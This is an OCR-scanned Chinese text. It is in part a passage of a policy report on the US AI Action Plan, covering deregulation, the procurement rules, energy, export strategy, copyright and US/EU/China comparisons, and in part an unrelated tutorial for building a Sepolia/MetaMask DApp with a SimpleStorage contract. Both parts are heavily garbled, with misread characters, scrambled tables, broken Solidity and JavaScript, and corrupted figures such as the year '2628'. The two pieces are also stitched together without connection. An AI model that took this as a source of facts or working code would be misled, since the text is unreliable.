(尤其是欧盟)产生的摩据14。 II.解构《人工智能行动计划》:三大支柱深度剖析 本章节将对《行动计划》中涵盖的98多项政策行动进行逐一解构,并按其三大战略支柱进行 组织。分析将聚焦于每项举措的实际影响及其背后的动机。 A.支柱一:加速人工智能创新 该支柱是《行动计划》的哲学核心,致力于为私营部门的人工智能发展创造一个最大限度宽 松的环填 消除露文姆节的指令 《行动计划》的首要行动是“拆除不必要的监管整垒”。这一进程始于立即废除择登时代的 第14110号行政命令,该命令被《行动计划》描述为一套“整量的监董制度””。 放松管制的一个关键机制是威胁扣留对那些制定了“繁重人工智能法规“的州的联邦资金“。 管理和预算办公室(OMB)被指示在做出资助决定时,需考虑各州的“人工智能监管环 境”,这代表了一种强有力的工具,用以推行单一的、联邦层面的、放松管制的标准。 联邦机构,包括联邦通信委员会(FCC)和联邦贸易委员会(FTC),被要求审查现有规则和 过去的执法行动,以确保它们不会”对人工智能创新构成不当负担””。这标志着监管要态向 显著的亲商方向转变。 这种利用联邦资金作为杠杆来对抗州级法规的策略,是联邦权力在这一新兴政策领域的一次 重大宣示。其逻辑链条清晰可见:首先,各州正在积极就人工智能进行立法,形成了一个“辞 片化”的法律格局‘,这被科技公司视为主要的合规负担和创新障碍”。其次,《行动计 划》采纳了科技行业的立场,寻求建立“单一的联邦标准”1"。再次,该计划并未选择政治上 更为因难的明确联邦优先权路径,而是运用了财政权力:如果一个州题布了被行政部门定义 为“整量”的法律,它将失去获得联邦人工智能基础设施资金的资格”。这为各州创造了强大 的激励,促使它们与联邦的放松管制议程保持一致,从而在没有国会正式立法的情况下,有 效地集中了人工智能政策的副定权。此举可能引发围绕州权问题的重大法律和政治挑战。 “美国价值观”指令 《行动计划》规定,联邦政府采购的人工智能必须摆脱“自上而下的意识形态偏见“和所谓的 “觉醒人工智能”(wokeAI)”。这一要求通过一项行政命令得以实施,该命令禁止联邦机 构采购嵌入“多元化、公平和包容性(DEI)意识形态“的大型语言模型(LLM)2"。 美国国家标准与技术研究院(NIST)被指示修订其(人工智能风险管理框架》,以“消除对 错误信息、多元化、公平和包容性以及气候变化的引用”1。这是将特定政治意识形态额入技 术标准的直接尝试。同时,该计划也承认“合成媒体”在法律体系中构成的威胁,呼呼为深应 伤造检测制定法证标准“。 将“错误信息“和“DEI"等概念从NIST框架中剥离的指令,清晰地表明了将政治意识形态嵌入
个多方利益相关者参与的流程制定的,旨在解决广泛的人工智能风险,包括偏见和虚假信息 传播等社会危害”。然而,《行动计划》通过一个政治化的视角重新定义了”危害“和“风 险”,它将焦点集中在“意识形态偏见“和审查制度上,同时将对错误信息的担忧斥为具有政治 动机“,遵过命令NIST修订该框架,行政部门正在利用其行政权力重塑用于评估人工智能风 险的基本语言和概念。这不仅对人工智能见和安全性研究产生了寒蚌效应,还将联邦采购 的巨大力量与特定的文化和政治议程相结合,可能催生出一个迎合这种世界观的人工智能模 型市场。 对开源和开放权重人工智能的战略性推动 《行动计划》明确鼓励开源和开故权重的模型,理由是它们在成为全球标准方面具有“地缘战 略价值”,并且对初创企业、学术界和政府安全采用至关重要1。 为支持这一目标,国家人工智能研究资源(NAIRR)试点项目将被用于为初创企业和研究人 员提供大规模计算能力,将计算资源视为一种商品1。 B.支柱二:建设美国人工智能基础设施 该支柱旨在满足人工智能主导地位对物理世界的需求:数据中心、能源和半导体。 精简建设与审批流程 《行动计划》将环境审批视为建设必要基础设施的主要障碍”。它呼吁通过精简或减轻《围 家环境政策法》(NEPA)、《清洁空气法》和《清洁水法》等主要环境法律下的负担,大幅 加快数据中心、半导体工厂和能源项目的审指速度“。联邦土地将被确定并用于数据中心和 发电设施的建设。 为人工智能革命提供动力 《行动计划》承认,人工智能的能源需求需要对美国电网进行根本性改造。它明确优先考 虑快速部著可调度电源,尤其强调“先进核反应堆技术”。这与此前旨在加速美国核能发展 的行政命令相呼应并予以加强1。该计划还呼呼防止“重要发电设备过早关闭”,并改革能源 市场以确保电网稳定”。 《行动计划》将人工智能的能源需求从一个专业技术问题提升为决定未来国家能源和环境政 策走向的核心驱动力。其内在逻辑是:首先,实现人工暂能的领导地位是不可动摇的国家目 标。其次,领导地位需要巨大的计算能力,而这又依赖于海量且可靠的电力供应”。再 次,当前的电网及其监管框架被认为不足以满足这一爆炸性需求”。因此,为了实现首要目 标(即人工智能主导地位),国家政策必须重新定位,以促进大规模的能源建设。这直接导 远影响在于,人工智能意赛可能将美国末来几十年的能源发展轨透锁定在特定方向上,对气 候目标、土地使用和能源市场的长期结构产生不可逆转的影响。 国内制造与安全 《行动计划》延续了《芯片法案》的实施,但旨在到离“无关的政策要求”,以进一步加速半 导体制造业的发展。它还要求为军事和情报部门建立高安全性数据中心,并加强所有关键 基础设施的网络安全“。 C.支柱三:引额国际人工智能外交与安全 该支柱将国内战略延伸至全球舞台,重点在于推广美国的人工智能技术,同时遇制对手。 出口美国人工智能技术栈 《行动计划》提出了一项积极主动的战略,向盟国出口“全栈式人工智能出口包”—包括硬 件、模型、软件和标准3。此举被明确定义为直接对抗中国影响力的手段1.商务部将牵头 此项工作,并与其他机构协调以促成这些出口交易 加强防御与控制关键节点 《行动计划》呼呼加强对人工智能计算能力的出口管制,并堵塞半导体法规中的漏洞,以阻 止对手获取相关技术,这是对前任政府政策的延续,甚至可能更为严厉“,该计划还提议 探索使用位置验证技术来监控高端人工智能芯片的部警地点,以防止未经授权的访间7。 塑造全球规范 美国将在联合国和经合组织等国际机构中“大力倡导“符合创新和”反映美国价值观“的治理方 法”。这包括积极反对“整重的法规“和“含期的行为准则”,这显然是指向欧盟更为严格的监 管模式1 这一系列外交策略勾勒出一个地缘政治蓝图,即美国扮演中心枢纽的角色,向其盟友“辐条” 国家输出整套人工智能生态系统。其逻辑在于,世界需要人工智能,如果美国不提供,盟友 就会转向中国等竞争对手"。解决方案不仅仅是销售产品,而是出口完整的“全栈“技术5。 这会造成技术和战略上的依验:采用美国技术栈的盟国将被整合进一个由美国主导的技术额 域,其基础设施、标准和数据流都将与美国系统保持一致。这既为美国科技公司创造了巨大 的市场,也建立了一个与美国技术上互操作、并与中国系统相隔离的国家联盟。这是一种现 代形式的技术治国方略,类似于美元在金融体系中扮演的角色。 然而,这一战略不可避免地将与欧盟的监管模式发生冲突,即所调的“布鲁塞尔效应”。欧盟 的《人工智能法案》是全面、基于风险且具有碳外效力的19,它将基本权利和安全青于创新 速度之上。而美国的《行动计划》明确拒绝这种模式,称其“繁重”且与“美国价值观”不 符3,并计划在国际场合积极对抗其影响。这在西方两大主要阵营之间造成了裂痕。企业 将面临相互冲突的合规制度,而美国和欧望将争相让各自的人工智能治理模式被第三国采 纳,可能导数全球数字市场的辞片化。 III.版权困境:一次具有深远影响的刻意忽略 本章是报告的分析核心,旨在剖析《行动计划》中最具争议性且影响最为深远的元素:其对 版权问题的处理方式。
证实,该计划并未提及版权问题,也未涉及使用受版权保护作品进行人工智能训练的合 法性。这种沉默并非疏忽,而是一项深思熟虑的政策选择。它实际上维持了一个法律 灰色地带,使人工智能开发者受益,他们可以在法院或国会明确表态之前,默认其行为 是允许的。
人工智能公司为训练中使用的每一份内容付费是“不可行的”1。他拼称,这样做会削 品美国的AI项目,并将竞争优势拱手让给中国,他声称中国“并没有这样做”。这种 论述将该问题定性为关乎国家经济存亡的大事,从而为牺牲创作者的权利提供了理由。
权法,训练模型属于“转换性”合理使用,因为其目的在于提取统计模式和规律,而非 为了其表达目的面复制原作1。而权利人(出版商、唱片公司、艺术家)则认为,这 是前所未有的大规模、系统性版权侵权。他们已提起多起诉讼,试图证明训练行为 不构成合理使用。早期的法院判决结果不一,一些法官认为训练具有转换性,但也 指出使用盗版内容可能会使合理使用抗辩失效。法律前景仍然高度不确定。
OpenAI和谷歌这样的大型人工智能公司正在与Reddit、金融时报、Axel Springer和美联社等大型内容所有者达成数百万美元的交易29。这对人工智能公司 而言是一种风险规避策略,对出版商而言则是新的收入来源11。然而,这些交易是临 时性的、不透明的,并且主要惠及大型、有实力的实体,可能将个体创作者和小型出版 商甩在身后32。作为回应,新的模式正在被提出,例如由版权活算中心(CCC)等组 织管理的集体许可框架13,这可能提供一种更具扩展性的解决方案。 表1:政策冲突-《人工智能行动计划》与《霍利-布鲁门萨尔法案》对比 下表直现地展示了行政部门的放松管制、亲科技立场与一项旨在保护创作者的重大两党立法 努力之间的根本性冲突。这种对比将一个复杂的政策冲突提炼成一个清晰、易于理解的格 式,供利益相关者参考。 《霍利·布鲁门萨尔法案》(明确立 (美国人工智能行动计划》(除含/明 特征 确立场) 场) 末经明确、事先同票,禁止使用13。 为保持竞争力,隐含地允许此行为 使用受版权保护数 据进行训练 无需同意:被视为不可行的障碍19 核心要求:创设了同意的法定权利1 创作者同意权 旨在为AI公司满录障得和负担7 创设新的联邦侵权行为,授权个人提起 慢权费任 损害陪偿诉说13 通过惩罚剧定更严法律的州来寻求建立 明确规定不取代州法律。允许州一级提 联邦优先权 单一联邦标凉12, 俱更强的保护3 人工图能开发者和科技产业。 个体创作者、艺术家和权利人。 主要受益者 这种对版权问题的模期处理,实际上是一种经过精心计算的战略性模糊政策。其逻错在于: 首先,承认版权问题将需要建立一个许可框架,这会减缓创新速度并增加AI公司的成本,从 而破坏该计划以速座为核心的首要目标"。其次,明确否认版权保护将引发强大的创意产业 及其国会盟友的巨大致治和法律反弹”。因此,实现快速、无险碍创新的最务实路径就是保 持沉默。这种沉默在默认情况下创造了一个“无需许可”的环境。它将举证责任推给了权利 人,迫使他们进行品贵的、逐案的法律斗争,这一过程可能需要数年时间。在这段法律不确 定期内,人工智能开发可以全速进行,这正是该计划的核心目标。模糊本身就是政策。 与此同时,法律不确定性和私下许可交易的结合正在催生一个双轨制的创作者体系,该体系 以牺牲个体创作者为代价,使大公司受益。AI公司面临来自诉讼的法律风险11,为了降低其 最有价值、高质量数据来源的风险,它们正在签订许可协议3。它们优先与那些控制着庞 大、有价值的语料库并拥有足够法律实力构成可信威胁的大型、有组织的实体(如主要新闻 出版商、图片库)达成交易3。这创造了一个“许可层“的内容。与此同时,从开放网络上抓 取的大量来自个体艺术家、作家和小型创作者的内容,则仍处于“未许可层”,这些创作者得 不到任何补偿,除了加入集体诉讼外几乎没有实际的追索权。这种动态将人工智能训练的经 济利益集中在少数大型出版商和科技平台手中,而生产了大部分文化产品的个体创作者却狼 排除在外 IV.地缘政治棋局:美、欧、中在人工智能竞赛中的角力 本章节将《美国人工智能行动计划》置于其全球背景下,与主要地缘政治对手的独特策略进 行比较。 表2:全球人工智能治理框架比较(美国、欧盟、中国) 下表提供了一个关键的战略概览,使利益相关者能够迅遗把握世界三大主要人工智能治理模 式的根本差异。它将英国的计划置于全球背景中,揭示了其为何如此专注于放松管制(以与 中国的速度竞争),以及为何它与欧盟的冲突不可避免(源于暂学理念的差异)。 美国(《人工图能行动 欧(《人工暂能法案》) 中国(行业法规) 参数 计划》) “权利优先”,全面、基于风 国家驱动,社会治理,以控制为中 “创新优先”,无需许 总体理 可,市场更动的核松管 降的预防性监管15 心,分散位严格的行业规则24 制 要求训终数据摘要遇明化: 对上游消练采取“适度宽松”,但要 战略性模期,险含地支 版权/ 持会理使用19 权利人可选行退出文本/数据 求数提無源”合法“并尊重知识产 训练数 搜系(TDM)19, 权:重点在于下游内客控制37 AI生成内容源标注24. 无通用要求:计划删除 高风隆系统需按察、可解 透明度 释:AI生成内容源标注9 了“#误信息”的考 要求 量. 正式的四级体系(不可接 在特定行业对高风险应用进行盛 无正式的风险分报体 风险分 24. 系19 受、高、有限、最低风 类 院),并有相应义务 19 通过新设的欧显AI办公室处 依输现有机构(如FT 执法与 由国家主导,通过各部委进行执 以巨限罚款(最高可达全球 C)和法律:计划试图 处得 处罚 法。 年营业额的7%) 限其范围 11,但现实情况更为复杂,且可能对中国 感管美国的计划基于“中国没有版权限制"这一前提“,但现实情况更为复杂,且可能对中国 更有利。中国的监管策略体现了对 上游训练的“适度宽松”,同时对下游内容实施严格控制3。其规定要求训练致据来源“合法” 并尊重知识产权38,但对于训练行为的法律解释仍在发展中。这种方法赋予了中国致府极 大的灵活性。它可以在几乎没有阻力的情况下,允许其国家龙头AI企业利用海量数据集进行 训练(这与美国的目标相似),同时保留在输出阶段打击版权侵权或不良内容的权力。这种 由国家主导的实用主义可能比美国的模式更具竞争力,因为后者陷入了私营实体之间公开 的、对抗性的诉讼混潭。中国可以在不引发混乱的公开斗争的情况下实现发展遗度,这从根 本上削弱了美国《行动计划》的核心理由。 V.行业前景与部门影响分析 本章节将对《行动计划》可能对关键经济部门产生的影响进行前瞻性分析。
联邦对州法律的优先权以及对版权问题的放任态度降低了合规成本。同时,政府对开 源模型和基础设施建设的支持使其成为直接受益者1。
许,贬低了创意作品的价值,并威胁到创作者的生计15。一项研究预测,到2628年。 由于人工智能的暂代效应,创作者的收入可能减少21-24%6。他们被迫依赖品贵的 诉讼11和主要惠及大型出版商的临时性许可协议32,这在行业内部遗成了分化。美 国电影协会(MPA)表示,尽管现有版权法足够,但他们担心版权局出台僵化的规则, 限制AI辅助作品的可版权性。
核能)的需求将推动这些行业的大规模投资和就业增长。精摘的环境审批流程将加速 项目进程并提高盈利能力
遇3。NAIRR试点项目承诺增加对关键且昂贵的计算资源的访问,从而在与大型现有 企业的宽争中创造更公平的环境。 表3:行业影响矩阵--《人工智能行动计划》的机遇与风险 该矩阵为不同行业提供了一个清晰、简洁且具有战略价值的总结,使任何行业的利益相关者 都能立即识别与其相关的关键机遇和威胁。 主要机通 主要风险 行业 放松管制的政策红利,合现成本降低, 可能的公众/政治反弹。开源扩教带来的国家 人工智/ 政府对基确设施/开源的支持。 大型科技 安全风陵。 知识产权经值,医未经许可的训练导致收入 大基出版商可从许可协议中获得新收 创意产业 人3,AI辅助创作工具的潜力。 失15,工作尚位流失,法理不确定性。 对新偿通(尤其是横前和可调度能源) 对现有基硅设施的压力,新明目可能遭通公众 能源与公用 1,电网现代化课目。 的巨大需求 反对。 事业 别练技工短缺5。供应链瓶颈。 数据中心、芯片工厂和发电厂建设热 建筑与制造 潮1 业 通过开源模型和计算资源降低进入门 竞争加剧,对大重科技公司控制的基硅设施产 风险投资与 初创企业 生依赖。 VI.战略风险与前瞻性建议 本报告的最后部分将综合分析结果,识别《行动计划》中固有的显关键战略风险,并为主墨 利益相关者提供可行的建议。
。开源论:该计划在为促进创新面推广开源模型的同时,又试图通过出口管制防止技 术转移给对手,这是一个根本性的矛盾。这一战路既可能加速竞争对手的能力发展, 也可能被恶意行为者温用1 。版权反弹:以牺牲版权来换取创新速度的实际政策,在政治和经济上都是不可持续 的。它将引发长达数年的诉讼,与创意产业结下深怨,并可能被末来的立法或政府推 翻,从而造成巨大的不确定性19。 可能会疏远关键的民主盟友,导致全球技术格局的辞片化,并阻碍形成对抗威权主义 AI模式的统一战线。
。对政策制定者(国会):通过推进两党合作的立法,为人工智能和版权问题提供一个 清晰、平衡的联邦标准,以弥合行政与立法部门之间的分歧。这应建立一个许可和补 偿框架,为科技公司和创作者双方提供法律确定性,超越当前非赢即输的法庭斗争。 探索法定许可模式作为一种港在的折衷方案。 。对创意产业:团结一致,采取集体许可策略,以增强与AI开发者的谈判能力。倡导透 明度要求,确保AI公司技露训练中使用的效据。投资于内容水印和追踪技术,以执行 许可条款。继续进行战略性诉讼,以建立有利的法律先例。 对科技公司:主动进行善意的许可谈判,以降低开发风险并获得“社会运营许可”。大 力投资于数据来源追溯和过读工具,以避免使用盗版或未经许可的内容,因为这构成 重大的法律漏润1。参与制定行业范围内的技术标准和负责任AI开发的最佳实践, 以预先防范更严厉的政府监管。 Works cited
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发布于 2025-07-24 13:32:28（微信公众号导出记录）。
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这份指南提供了一個基本的去中心化愿用程式(DApp)笔例,它可以在Sepolia ETH 或 BSC 测試细上與您的 MetaMask 包互動,亚讀取、寫入一個简单的智能 合约。為了確保所有功能正常逼作,本能例要求您遗退胡页伺服器(例如Python的 http.server)来防間index.htnl槽案,面非直接闻它。
我仍使用一個名為SimpLeStorage 的智能合的,它能存一信數字允許您修改它。
幅将以下程式钙檀裂到 Rcmix IDE 中。 Solidity // SPox-License-Identifier: HIT 1指定Solidity 编器的阅原可超码HIT pragna solidity ~0.B.B:// 瘤定 Solidity 版本为 9.8.0或更高 //定效一留名為 Sinmple5tarage 的合的 contract Simplestorage { uintpubLicmyNumber://宣告一需公阅的屏符劈整数曼数nylumber。用约锅存影 //建携子(constructor):合的部署會自勤快行一次 //接收一留初始数字作态参数,游其提定绍myliumber constructor(ulnt _initiaLNumber) myMunber = _initialNumber; //setNunber 函数:用於段定nyNunber 的新信 //public黑键字表示此函数可以提外部呼叫 function setNunber(uint _newNunber] public ( myNumber = _newNumber; //gctNunber 函数:用於取得myNumber 的需敬信 //pubL1cV1ev照键字表示此函数可以外部呼叫,且不鲁绿改合约的状息(只额) //returns(uint)表示此函数童回薄一留無符號整数 function getNunber() public view returns (uint) ( return nyNunber;
https://remix.ethereun.org/-建立新權案:在左侧的案探查器中,點型contracts调料爽旁的新案,示,命名 2. 增案為 SimpleStorage.sol。
o确保Comp1ler;版本奥您的pragna soL1dity ~0.8.e;相符(例如0.8.x) 胎型“Compile Simplestorage.sol”按祖。硫保下方控制台有联。
贴聚左例尊航椭的部署與通行交易图示(通常是恒以太坊喆)。 在“ENVIRONMENT’下拉避甲中,还播“Injected Provider -MetaMask"。 保您的 MetaMask 包已速结到 Sepolia Test Network, 在“coNTRACT”下控逻平中,退摄 SimpleStorage。 在“Deploy*按經旁遗的翰入框中,為canstructor 参敏输入一個初始数字(例如 100 ) 。 贴攀“DepLoy”按翘。您的MetaNask錯包售弹出一储交易随视窗,随业支付 Gas 费用(需有 Sepolia ETH). 。部墨成功,Renix介面下方“DeployedContracts”%會示您的合的實例。礼 道债合的地址,我们将在前端程式码中使用它。
這份index.htnl 案包含了终真的结(HTML)、楼式(CSS)以及 HctaMask 和智能合 約互的 Javascript 遵帽。
幅将以下完整的程式碼拖聚虽存為index.html噻案。 重要提示:務必JaVaScript 區境中的CoNTRACT_ADDRESS替换為您實膝部署的合的地 址1 TWIH <1D0CTYPE htnl> clueH-4z,=Buel [u14x cheads cmela charsel="UTF-8"> cncta nane=vicwport" content="width-devicc-vidth, initial-scalc= <title>Sepolia ETH 期抗响 DApp 例</title> sstyles /基础稼式:般定字體、依局、背景颜色和基本文字颜色/ body{ font- family: -apple-system, BlinkMacSystemFont, Segoe UI display: flex; justity-content:center:/水平居中/ align-llems: center; 垂直居中*/ hcight: 168vh; 店济整西视留亮度 nargin: 0; background-ralar:eef2f7:/淡整色商景*/ 容器模式:卡片式依局,包含影和盈角* ,containcr ( text-align: center; 文字居中對 padding: 48px: background-color: white; border-radius: 12px: box-shadpw:@4px 12px rgba(e,a,@,0.1); / M影效果 t/ (xdce a44pIA-xeu (x0005 :410TM-xeu 最大宽度* width: 90%: 康式宽度* 德题稼式 hl{ h1 calor:B27EEA;/以太坊蓝色/ nargin-bottom: 20px; 按扭模式1 button( background-color:#627EEA:/以太坊菌色*/ color: white; border: none; padding:12px 25px;/内遗距 font-size: 15px; font-woight: bold; border-radius: 8px: cursor: pointer; transition:background-color @3s, opacity 9.3s;/* 追游效: nargin:16px5px;/外遗距/ /按纽滑品照停效果“/ button:hover:not(:disabled) { background-calar: 4ab7de: 禁用按招裱式* hutton:disabled { opacity: B.6; cursor: not-allowed; 数字输入程槎式* } [,Jaqwnu,=adA1anduT padding: 18px: border: lpx solid #ccc; border-radius: 5px; font-size: 16px; nargin-right: 10px; width: 150px: box-sizing: border-box; 遇框和填充包含在宽度内*/ 资研和合约互数区填标式*/ info, #contrartInteraction { nargin-top: 25px; text-align: lett; 文字在数否* mord-break: break-all; 長文字自数预行*/ border top: 1px solid eee; /* 上造框*/ padding-top: 20px; 请讯盛增内的段落式“/ into p. #contractInteraction p re xdat :ur6ieu font-size: 15px; 照息提示模式*/ message ( nargin-top: 150x; font-weight: bold; .error color: #dc3545; 成功讯息费色 success { color: #28a745; 曹告讯息颜色 / .warning ( color: #ffc137; 合约盛域的特定样式*/ .contract-section { border:1px dashed #527EEA;/*虚综造框×/ Ixdst :outpped border-radius: 8px; xdez :da1-ui61en background-color: wf7faff:
} ≤/stylea c/heads <body> sdiv class=*container"> <h1>Sepolia ETH 测就娠 DApp 颤例</h1x 108 <p>贴翠下方按钮速能您的 MetaMask 包榆查路。</p> <hutton in="connectButton>速能到 MetaNasks/buttonx <div 1d-*info">
<p 1d=status* class=*message"s糖:未建结</p> L 1 2 <p id==chain"class="nessage">频路:未知</p> <p 1d-account>幅户:未速结</px cp 1d=*balance'>m辅: N/A</p> 1 1.5 </div> xdiv id-*contractInteraction" style-display: none;> 1 17 ch2>智能合的互数/h2 sdiv class="cantract-section"> cpxcstrong>合的地址:</strong> cspan id-"contractAddress
sbutton id=getContractNumberButton">更新含的数字</hutt(
</divx
25
cdiv class="contract-section" style='nargin-top: 15px;">
ch3>设定新数字</h3>
cinput type-nunber" id="neuNunberInput" placeholder-
<button id=setNunberButton>故定数字</button>
sp id="setNunberstatus" class=nessage"ss/p>
2
≤/divs
131
cscript src=https://unpkg-con/ctherse5.6-o/dist/ethers.und.min.j
.3 Z
<scripts
//取得页面上的HTHL 元素,以便在Java5cript中操作它罚
const connectButton = docuncnt.getElenentById['connectButton'
const statusEl = docunent.getElementById('status');
3
const balanceEl = docunent.getElenentById('balance');
139
//智能合的互動相期的HTHL元素
const contractInteractionDiv = docunent-gctElementById(*contr.
142
Const currentContractNunber = document-getElementById(curren
1 4 5
Const setNunberButton = documenl.getElenentById(setNunberBut
//Sepo(la潮试钢路的鲜寶现
146
//包含Chain ID(11155111 的十六遵别表示)、路名幂、原生贺磨和 RPC/
const scpoliaTestnet = {
//1l155ill In hexadecinal
chainId: Axaa36a7,
15 1
nativeCurrency: {
nane: 'Sepolia ETH',
154
‘HL3, :1oqus
decinals: 18
}.
rpcurls:[https://rpc.sepelia.org/], // 拉m的 RPC URL
blockExplorerurls: [https://sepolia-etherscan-io]
159
}:
//!1!請用念部署在 SepoTia上的 SinpleStorage 合的地址替换此露!!!
// 这显岗能的智能合的互融的照盘,整例增址:0xED143bc4563F9235fB4837F)
ConSt CONTRACT_A00RESS = exED143bc4B63F9235fB4837F2E8A56088D
//SinpleStorage 合的的 ABI (Application Binary Interface
11ABI接述了合的有感些函数,它们的参数和回傅值,是前端员合的互融的”就蜗通
6
"constructor{uintzss)",
//合約建子
function myNunber() view returns (uint256)", // myNunber
function setNumber(uint256 _neuNunber)",
// 设定 nyiunbe 11取得nyN
Let provider://ethers.js 的 Provider 物件,用於取区炼资料 let signer; 1ethers.js 的 signer 物件,代表践包账户,用於签墨交 let sinplestorageContract;// cthers.js 的 Contract 意例,用於尚 南戴人和MetaMask初始检查-- 11當00H内容完全载人後纳行此函数 docunent.addEventListener('DoMContentLoaded', () => { //检查密宽群是否安装了MetaMask(windov.ethereun 是否存在) 7 if (typeof windou.ethereum sss *undefined *){ statusEl.textContent-‘雷媛:先安装MetaMask 外排程式! statusEl.classNane = 'message error': 18 1 connectButtan.disabled =true;// 禁雨速结按钮 )else {
// 如果 MetaMask 已安装, 邵始化 ethers.js 的 Provider 和: l1道必须在任何需要使用ethers物件的地方之前就行 provider = new ethers,providers.Meb3Provider(window.e slgner = provider.getsigner(): checkInitialConnection(]:// 拾亚MetaMask 的初始速然就息 11检查合约地址是否已正碟段定 if (cONTRACT _ADDRESs === 'BxYaurDeployedContractAddressHe contractInteractionDiv,style.display = block; // 8 contractAddressDisplay.textcontent=在程式码中勘定正 6T getContractNunberButton.disabled = true; consble.errar(*请在 index.html 中最定正键的 coNTRACT ADDl )clsc { contractAddressDisplay .textContent = CONTRACT_ADRESS
//栖查MetaMask的初始速结然息 20 2 async funclion checkInitialconnection() { try ( 20 5 //宣试取得MetaMask 已授楼的物户列表 const accounts = await windou-ethereum.request(f meth: if (accounts,length > θ]{ //如果有贴户已速结 await updateAccountInfa(accounts[a]):// 更新户资 connectButton.textContent =已速’: connectButton.disabled = true; 211 statusEl.textContent =“快愿:已”; statusEl.classNanc = *nessage success′; 214 awalt checkNetwork(); //徐查钢路 await initializeContracti):// 初始化合的實例 contractInteractionniv.style.display = *block': 217 1a51a{ statusEl.textContent=“:末通”; 18 statusEt.classNane = *nessage': } } catch (error) { consple,error(“初始进输查失股:",error); statusEl.textContent-‘糖:柚音失败。'; statusEl.ctassNane = *message error': MeTaMask 速然通辑
connectButton.addEventListener('click', async () => { if (typeof window.ethereum === undefined'){ statusEl.textContent =‘娱:蜡先安装MetaHask 外拼程式! statusEl.classNane - 'message error'; 23 2 return: try ( 11請求用户授增速结他仍幅户,MetaMask鲁弹出视窗碾用户确 const accounts = await windou.ethereum.request(f neth /1取得第一留速结的板户 const account = accounts[θ]; aiwalt updateAccountInfo(account);// 更新概户弯据 2 4 1 statusEl.textContent=题:已速; 1, ssaaens sbessau, = auenssela' lasnie1s connectButton.disabled = true; aWait checkNetuork(): //检查烫路 await initializeContract();// 初始化合的宽例 247 contractInteractionDiv.style.display = *block; // : 248 } catch (error) { console,error(“结失脏:,error); statusEl.textContent=娱:使用晋拒了速家或瘤生辑 5 1 statusel.classNane = 'message errbr'; }1: 11更新页面上的幅户地址和解额资讯 async function updateAccountInfo(account)( try ( //使用ethers.js provider 取得户额(以Wei为單位) const balanceliel = awalt provider-getBalance(account) //使用ethers.js 將Wei 磷搬為 ETH 單位 const balanceEth = ethers.utils.formatEther(balanccwe. balanceEl.textContent = *除: s<parseFLoat(balanceEth }catch (error){ console,error(*取得额失:,crror);
//柚查蓄前通接的期器是否母Sepol1a弱试蜗 async function checkNetuork() { try ( l1使币ethers.js provider 取得蓄前剪路瘦职 const network = await pravider-getNelwork(): //等Chain I0 聘换為十六道制字串以便scpoliaTcstnct,cho if (currentChainId ↓== sepoliaTestnet.chainId) { //如果的期路不是5cpoli0 chainEL.textContent=“路:目前在 ChainID ${netwol chainEl.classNane = *message warning′: awalt switchNetwork(); //音就自敏切换蜗络 }else{
chainEl.textContent = *M陷: Sepolia 武 [ChainI ZR chainEl.classNane - *message success'; } catch (error) { console.error("植查路失脓:",error); chainEl.textContent=螺路:無法取得路默题。 : chainEl.classNane = 'message error' : //切换或新增 Sepolia 解路到 MetaHask async function switchNetwork(1 { 29 2 try{ /1發送請求膜MetaMask 切换到 SepoTia 细路 aWalt window.ethereum.request(( params: [{ chainId: sepoliaTestnet,chainId }], awa1tcheckNetuork()://切模成功後再次检查照路 }catch (switcherror) { //如果用户罐包撑证有5epoL1a操然(猫娱代码4902) 801 If (switchError.code === 4902) { try{ //首就引海用户新增 Sepolla纲路 await window.ethereun.request[{ method: wallet_addEthereumchain, parans: [sepoliaTestnet] , 308 ): awaitcheckNetwurk)://新增成功烫再次检查细路 }catch (adderror){ console.errort"新增 Sepolia 蚂路失收:", addErrol 311 chainEl.textContent =‘請:新增Sepolia 紫路失! chainel.classhame -nessoge error’; 313 }else { console.error(“增器失股:",switchError); B 16 chainEL.textContent=:切措路失败。; 317 chainel.classNane = *message error';
智能合的互動遥帽 323 /1初始化智能合约實例 async function initiatizecontrart() { 824 //只有在cthcrs.js 和NetaMask 都率好時才耀 If (typeof ethers =-= 'undefined ll typeof windou-ethere consnle.errar(Ethers.js 或 MetaMask 未贩入。無法初给化合 return; 11再次检重合的地址是否有效 if (CoNTRACT_ADDRESs =-= 'BxYourDeployedContractAddrcssHc console.error("合約地址未融定或無效,法初始化合的。); currentContractNumber, textContent =名的地址效 1; EEF currentContractNunber,classNanc = ‘crror'; return: 3 3 5 I1重新扔始化providcr和 signcr 以致保其是最新的默感 provider = new ethers.providers.Meb3Provider window. ether signer = provider-getSigner(): SEF [建立合的震例:使用合的地址、ABI和 signcr。 //signer 用於需要答署交易的高入损作,provider 可用於只罐操作, 341 sinpleStorageContract = mew ethers.Contrart CoNTRACT ADDR console.log{“合約言例已初始化:,sinplestoragcContract); 343 amalt getContractNumber(1://劲始化後立即取得合约中的数字 344 45 346 /1整融“更新合的数字”按超的验聚事件 getContractNumberButton.addEventListener( 'cl1ck', getcontract) //提智能合的中取得ntylunber的值或题示 4 async function getcontracthumber(){ 349 1f(!sinplestoragecontract] 35@ currentCantractNumber.textContent=音的木载入或木連 currentContractNunber.classNanc = ‘crror′; 353 return: try ( currentContractNunber.textContent -MA中...; 85 11呼叫合的的 getNuuber 方法(道是只鼠操作,不消耗Gas) .5 const number = await simpleStorageContract.getNunber{ 858 359 currentContractNunber.textContent - number.toString() currentContractNunber.classNane = success: }catch (error) { console.error(“取辑合的数字失胜:,error); currentContractNumber. textContent =*R得失歌。: currentContractNunber.classNane = ‘error′; //整融“般定数字”按超的贴影事件 setNunberButton.addEventListener(*click', async () => { 868 If(!sinplestorageContract]{ setNumberStatus.textContent=合的未飘入或未MetaMas setNumberstatus.classNane -"nessage error'; return: 72 const newNumber - parseInt(newNunberInput.value); // 取得弗 3 74 /1检查输人是否为有效且非负的整数 if (isNaN[newlumber) II newMunber < B) { 7 setNumberStatus.textContent-情入一個有效的非蔡! 78 return; setNunberStatus.textContent=“正在發送交易,請在 HetaMask 中 setMunberStatus.classNane = message warning′: try( 883 11呼叫合的的 setNumber 方法。造會建立一需交易,需要用户在Me1 const tx = await sinpleStarageContract.setNumber(newf setNumberStatus.textContent -交易已叠送!漆(Hash): setNumberStatus.classNane = nessage success"; cDnsple.lag("安易神=",tx.hash]; walt tx.walt();//等待交品被研工磁超业包含在区熄中 setNumberStatus.textContent=交易成功!新数了:${newNu 6E setNumberStatus.classkane = "nesage success; awaitgetContractNumber();// 交易成功後,别斯夏面顾示的合: 39 2 } catch (error) { consble.errar(“设定数字失败:",error); if (error.code =-- 46e1){ }else { setNunberStatus.textContent=‘定慰字失履,直看控 setNumberStatus.classkane = nessage error; 48 402 MetaMask 